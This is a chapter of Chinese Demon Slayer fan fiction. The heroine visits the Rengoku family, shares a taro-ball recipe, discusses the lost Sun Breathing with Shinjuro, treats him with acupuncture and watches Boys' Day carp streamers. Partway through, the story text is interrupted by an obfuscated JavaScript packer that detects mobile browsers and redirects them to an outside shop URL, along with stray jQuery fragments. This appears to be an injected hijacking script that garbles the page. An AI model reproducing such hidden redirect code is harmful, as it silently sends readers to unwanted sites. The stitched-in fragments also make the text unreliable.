祭拜完瑠火夫人，千寿郎带路至茶屋，轻轻叩门，“父亲大人，藤花小姐来了。”


    “进来吧。”


    进屋前，藤花月咲打开药箱，将里面的伴手礼取出来。


    一罐是去京桥区那天在喫茶店买的锡兰红茶，一份是生的手作芋圆。


    藤花月咲穿越前特别喜欢芋圆，搭配仙草、沙冰和芋泥，第一次吃就惊为天人，好吃到她专门向中国留学生求教学习了做法，原料很常见，在家也能自制。


    因为听说——炎柱信里写了——长子杏寿郎爱吃红薯，她便想到了这道甜品，做了红薯和芋头两个口味的。


    去皮切成小块上锅蒸熟，用勺子一边压成泥一边加入白砂糖搅拌混合，随后趁热分次加入适量淀粉，揉成光滑不粘手的面团。


    把面团搓成长条、切成形状均匀同一的小剂子，撒一些淀粉防沾保存。


    要吃的话就下锅煮熟，放入冰水冷却沥干，随便加糖水、鲜奶或仙草都超级美味。藤花月咲在来炼狱宅邸前做了一份加鲜奶的给自己和寿奶奶，非常成功。


    其实她同样很喜欢紫薯芋圆，但如今紫薯产量极低，市面上基本买不到，只好忍痛放弃。


    千寿郎捧着一大碗生芋圆，迟疑抬头：“这是……？”


    “是我从中国人那儿学来的甜点，很好吃哦。”藤花月咲告诉他怎么做，摸摸小猫头鹰的脑袋毛，弯腰步入茶屋。


    炼狱槙寿郎盘腿坐在榻榻米上，周身被满满的信封信纸所包围，时不时还有鎹鸦从窗户飞来雪上加霜，往那堆信山里再丢一封。


    炎柱本人被埋没在信纸中，一手拿笔，腿上架了本书，看完一封信就翻找页数，在书上记一笔。


    藤花月咲：“……”给研究生导师打工的经历逐渐浮上心头。


    炼狱先生不会是喊她来顺便打下手的吧！


    幸好，炎柱还没那么丧心病狂，他请少女坐下，把信往身边一扒拉。


    千寿郎送了一壶煎茶来，炼狱槙寿郎喝着茶问：“那么，你是从哪里得知日之呼吸的？这种呼吸法已经失传，就连培育师都不知道。”


    “我是听一位女士说的，如果没有那名使用日之呼吸的剑士出手相救，就不会有现在的她。”藤花月咲没说谎话，只是巧妙地换了一种说法。


    炼狱槙寿郎便默认是那名女士的祖先被救后口口相传。这种事当然有，像炼狱家这样世代担任炎柱的家族，偶尔执行任务时还会碰到曾经被历任炎柱救过的人家。


    尤其是炼狱家的人相貌相像，年轻时有次他去杀鬼，救下的那户人家还以为是祖先口中金红色大鸟化作的神明降临了，甚至好奇他活了多少岁。


    “日之呼吸是最初的呼吸法，其余所有呼吸都是日之呼吸的衍生，”炼狱槙寿郎双手揣在宽袖里，神情严肃，“使用日之呼吸的剑士加入后，鬼杀队才有了呼吸法，在此之前都是依靠普通的刀法与鬼对抗。”


    “而那名剑士，是有史以来最强的猎鬼人。”


    听到从前猎鬼人全凭□□凡身去杀鬼，藤花月咲心头一紧，“真的全都失传了吗？”


    “至少炼狱家没有记载另外传人，那名剑士在中途退出了鬼杀队，或许在民间寻找还有可能，”他推来一本手记，“这是《第二十一代炎柱之书》，里面记录了日之呼吸的十三种招式，但具体如何施展没人知道。”


    藤花月咲小心打开这本老旧的书册，把招式的名称一一记住。


    翻到某一页时，她的指尖微微颤动一下，“这里提到的‘斑纹’是……？”


    炼狱槙寿郎摇摇头，“手记中只描述了使用起始呼吸的剑士们身上曾出现过这种纹路，但具体用途和开启方式也已经失传。也许，主公大人家族收集的历代柱手记中会有。”


    藤花月咲心想，这应该就是珠世小姐说的，那名最强剑士额头上的火焰斑纹吧。


    不过，手记中有一处让她很在意。


    “炼狱先生，这本手记中提到‘斑纹’的地方很少，但在这一处的后面，”她指向手记，“接着写到了岩柱已经去世，自己大概也快了。”


    “既然紧挨着写在一起，说明这两者之间可能有所关联。”


    藤花月咲深呼吸，“难道说，开启斑纹会减少寿命吗？”


    炼狱槙寿郎一惊，他从没想过这点，可仔细思考后觉得很有可能。毕竟第二十一代炎柱写这本手记很频繁，从日期上来看几乎天天都会写，最后却草草了结。


    或许最强剑士也不是离开鬼杀队，而是死了。


    他算了算日期，那任炎柱没有活过25岁。


    两人都消化着这巨大的信息量，只是斑纹早已失传，无法证实他们的猜测是否正确。


    “不好意思，我问得太多了。”藤花月咲喝口茶给大脑散热，歉意一笑。


    “无事，你是为了鬼杀队，”炼狱槙寿郎看着眼前年纪不大的少女都在努力，有些感慨，“……从前我在手记里看到，连日之呼吸的使用者都无法消灭鬼王，就对自己产生了怀疑，觉得我为之自豪的炎之呼吸不过是对日之呼吸的拙劣模仿，认为比不上那名剑士天赋的人就全是庸才。”


    “我们这样照猫画虎模仿他人的庸才，所做的一切有意义吗？只不过是无谓的牺牲罢了。”


    炎柱偏过头望着满地的信件，“我现在知道了，即便凭我的力量无法消灭鬼的始祖，但只要站出来，就能挽救许多人的生命。即使没有如太阳般耀眼的天赋，但保护他人不分强弱，是靠一颗强大的心。”


    他看过来，经过调理和戒酒后的脸色好了很多，没有了挥散不去的阴郁，笑得爽朗：“炎之呼吸相当强大，对吧！”


    藤花月咲用力点头：“嗯！”


    紧接着图穷匕见：“为了更加强大，我们来复查一下身体状况吧！”


    炼狱槙寿郎：“……”


    千寿郎做好芋圆，端了两碗过来，一推开门，就看到父亲一脑袋的针，像金红色的新品种刺猬，吓得差点把碗摔了。


    “父亲大人，这、这是……？！”


    “是在治疗哦，很安全的！”留针时间到了，藤花月咲把针都收起来，一一消毒，“注意不要饮酒、吹风、着凉，炼狱先生的身体状况比之前要好很多了，要加油保持，主公大人也很关心您呢。”


    炼狱槙寿郎叹着气听医嘱，留下了自己那碗芋圆，把少女和儿子都推出去，“去玩去玩，我要继续工作了。”


    被打发走的两人眨眨眼对视，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17040688|192282||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    藤花月咲舀了一颗芋圆咀嚼，“好吃！”


    这个糖水调得很不错，清甜又不会太腻，简简单单地衬托着芋圆，有种返璞归真的味道。


    千寿郎把红脸挡在托盘后面，“是因为藤花小姐的芋圆本来就做得很好。”


    他请少女到廊檐下休息，庭院里的杏寿郎和带蛇少年已经把竹竿立了起来，现在蹲着捣鼓那堆花花绿绿的布。


    “他们在做什么？”藤花月咲好奇。


    “今天是五月五日，哥哥和小芭内哥哥在挂鲤鱼旗。”哥哥说，母亲在世时他们也挂过，但这是母亲去世后的第一次。


    日本的五月五日是男孩节，传统就是在庭院杆子上悬挂空心的直筒状鲤鱼旗，寓意勇往直前、意志坚强、克服苦难。


    藤花月咲觉得，小芭内这个名字有点像女孩子，但对方毋庸置疑是男性。


    尽管举止有些局促疏离，不过看起来跟兄弟俩关系挺亲近的。


    “是瑠火夫人缝制的鲤鱼旗吗？”


    “嗯，我和哥哥都有，小芭内哥哥的旗子是我们一起做的。”千寿郎没说，其实基本都是他一个人做的，另外两人完全是有心无力。


    就像藤花月咲也没问为什么别家孩子要跟炼狱家挂鲤鱼旗，还得现做。


    带蛇少年蹲在地上盯着鲤鱼旗，居然是金色和绿色的异瞳，远远看过去，两只眼睛都在闪着微光。


    他好像很期待的样子。


    千寿郎把芋圆端过去，杏寿郎很快发出了“好吃、好吃”的声音。


    “唔呣，是新的红薯点心吗？好吃！”他舀起一个观察，“要怎么样才能做得那么有嚼劲呢！”


    带蛇少年瞥了一眼，没有碰，兄弟俩貌似也习惯了。


    鲤鱼旗缓缓升空，从高到低依次是黑鲤鱼、红鲤鱼、两条青色小鲤鱼、一条更小的青色鲤鱼。


    分别代表父亲、母亲、兄弟。


    以藤花月咲来看，想要分辨瑠火夫人和千寿郎的手艺很简单，毕竟差距有点明显。


    带蛇少年毫不介意，望着在空中飘动的鲤鱼旗看了好久，默默用手抚摸小蛇的脑袋。


    藤花月咲双手托腮注视着，忽然发现庭院少了一个人。


    长子去哪儿了？


    她似有所感地一仰头，耀眼的金红色猛然撞了进来，占据全部视野。


    像是烈焰，离得太近就会被灼伤。


    “您好！”杏寿郎双眼一眨不眨，虽然与她对视，却仿佛在看着别的东西，“家父之前受您关照了！”


    藤花月咲打量他，心想，凑近看五官更像瑠火夫人了。


    “炼狱先生没有觉得我多管闲事就好，”一直仰头脖子太酸，她把头垂下来，“你是正式队员了吗？”


    杏寿郎坐到她身边，目视前方，“还不是！父亲大人说我还没学到位，不要出去给炎之呼吸丢脸！”


    这种话没必要说得那么大声吧？


    “他也跟你一样吗？”藤花月咲指了指小芭内。


    “伊黑他正在学习水之呼吸！”


    “哦哦，我也认识使用水之呼吸的剑士，他跟我们差不多大呢。”藤花月咲说的是富冈义勇。


    同为水呼，入队后要是能成为朋友就好了。